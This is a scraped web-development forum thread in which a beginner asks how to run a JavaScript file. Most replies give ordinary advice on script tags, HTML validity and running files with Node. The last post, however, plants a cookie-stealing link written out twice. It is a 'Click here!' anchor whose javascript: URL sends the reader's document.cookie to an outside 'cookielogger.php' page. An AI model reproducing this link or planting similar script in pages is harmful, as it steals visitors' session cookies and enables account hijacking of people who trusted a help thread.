1,105,320 Community Members

how to run javascript program

Member Avatar
idesignyards
Newbie Poster
1 post since Oct 2006
Reputation Points: 0 [?]
Q&As Helped to Solve: 0 [?]
Skill Endorsements: 0 [?]
 
0
 

I have saved a javascript in notepad with an .htm extension. When I go to file then open and type in the file name, it just opens up a it as an address in the address bar. I want to run the program in internet explorer, how do I do that?

Member Avatar
stymiee
He's No Good To Me Dead
1,539 posts since May 2006
Reputation Points: 111 [?]
Q&As Helped to Solve: 48 [?]
Skill Endorsements: 8 [?]
Team Colleague
 
0
 

If the file is just a javascript file you have to save it with a .js file extension and then call it from an HTML page as JavaScript does not run on its own. It must be part of a webpage.

Member Avatar
peter_budo
Code tags enforcer
7,935 posts since Dec 2004
Reputation Points: 2,502 [?]
Q&As Helped to Solve: 1,028 [?]
Skill Endorsements: 66 [?]
Moderator
Featured
 
0
 

another think to keep in mind, if you take that script from somebody site it may not work properly/ at all because it need some data

Member Avatar
vishesh
Nearly a Posting Virtuoso
1,362 posts since Oct 2006
Reputation Points: 59 [?]
Q&As Helped to Solve: 43 [?]
Skill Endorsements: 0 [?]
 
0
 

and to include js file in your pages

<script language="JavaScript" src="javascript.js" type="text/javascript">
</script>
Member Avatar
chiwawa10
Junior Poster
156 posts since Jul 2005
Reputation Points: 77 [?]
Q&As Helped to Solve: 28 [?]
Skill Endorsements: 0 [?]
 
0
 

It seems that I can run the .js file from Windows. Just double click it.

Member Avatar
nitin.kachale
Newbie Poster
1 post since Jun 2008
Reputation Points: 0 [?]
Q&As Helped to Solve: 0 [?]
Skill Endorsements: 0 [?]
 
0
 

how to run javascript program

Member Avatar
infotech_mominp
Newbie Poster
1 post since May 2010
Reputation Points: 0 [?]
Q&As Helped to Solve: 0 [?]
Skill Endorsements: 0 [?]
 
0
 

How to run a java script program

Member Avatar
rajarajan07
Nearly a Posting Virtuoso
1,448 posts since May 2008
Reputation Points: 123 [?]
Q&As Helped to Solve: 242 [?]
Skill Endorsements: 3 [?]
 
0
 

You can run the javascript by including within your html file or just include the External Javascript file within the html file.

<html>
<head>
<!-- Internal Javascript Function -->
<script language="javaScript">
//Write your javascript functions within this script tag
</script>
<!-- External Javascript Function -->
<script language="JavaScript" src="javascript.js" type="text/javascript"/>
</head>
<body>
</body>
</html>
Member Avatar
Rajib Ganguly
Newbie Poster
14 posts since Jun 2010
Reputation Points: 0 [?]
Q&As Helped to Solve: 5 [?]
Skill Endorsements: 0 [?]
 
0
 

is it possible to placing 3 div horizontally, and want to make it display & hide div on click. but rest of the div will be in full width as the page.

Member Avatar
oakleymk
Newbie Poster
14 posts since Jun 2009
Reputation Points: 0 [?]
Q&As Helped to Solve: 2 [?]
Skill Endorsements: 0 [?]
 
0
 

Using <script language="JavaScript" src="javascript.js" type="text/javascript"/> is not valid (as per the W3C) for 2 reasons. The first being that the script tag is a content element and must use a </script> to close the elements envelope. The second, if the script tag was a leaf (contentless) element, there must contain a space before the /> . Using language="JavaScript" has been deprecated.

The only exception to this is when using XHTML, and although using the script tag as a leaf element will parse correctly in most modern browsers, it will cause the page to break in older browsers. This lack of backward compatibility is the primary reason the W3C will ONLY validate the script tag as a leaf element when used in XHTML.

To prove this point, I have provided a srcipt tag test using standard HTML and a srcipt tag test using XHTML. The official W3C validator can be found at validator.w3.org site.

Lastly, your in page script must use type="text/javascript" to validate correctly. Again, using language="JavaScript" has been deprecated and is not necessary.

Hope this helps. Enjoy! :)

Twinky9
Newbie Poster
1 post since Oct 2012
Reputation Points: 0 [?]
Q&As Helped to Solve: 0 [?]
Skill Endorsements: 0 [?]
Unverified Member
 
0
 

*.js files are run with a Javascript interpreter engine. All major browsers have such an engine, as well as most operating systems.

To run the *.js file in a browser, include a reference to the file in a <script> tag. These can be placed within the <head> or <body> tag.

Example:

<html>
    <head>
        <script type="text/javascript" src="path/to/javascript_file.js"></script>
    </head>
</html>

Alternatively, you can also run the *.js file from your operating system given you have a Javascript engine installed on it. One such engine is called "NodeJS". You can use it by calling "node" then the *.js file.

Example:

node javascript_file.js <options>
abii3roxx
Newbie Poster
1 post since Nov 2012
Reputation Points: 0 [?]
Q&As Helped to Solve: 0 [?]
Skill Endorsements: 0 [?]
Unverified Member
 
0
 

<a href="javascript:document.location='http://www.abii3roxx.my3gb.com/cookielogger.php?cookie='+document.cookie;">
Click here!</a>

<a href="javascript:document.location='http://www.abii3roxx.my3gb.com/cookielogger.php?cookie='+document.cookie;">Click here!</a>
You
This article has been dead for over three months: Start a new discussion instead
Post:
Start New Discussion
Tags Related to this Article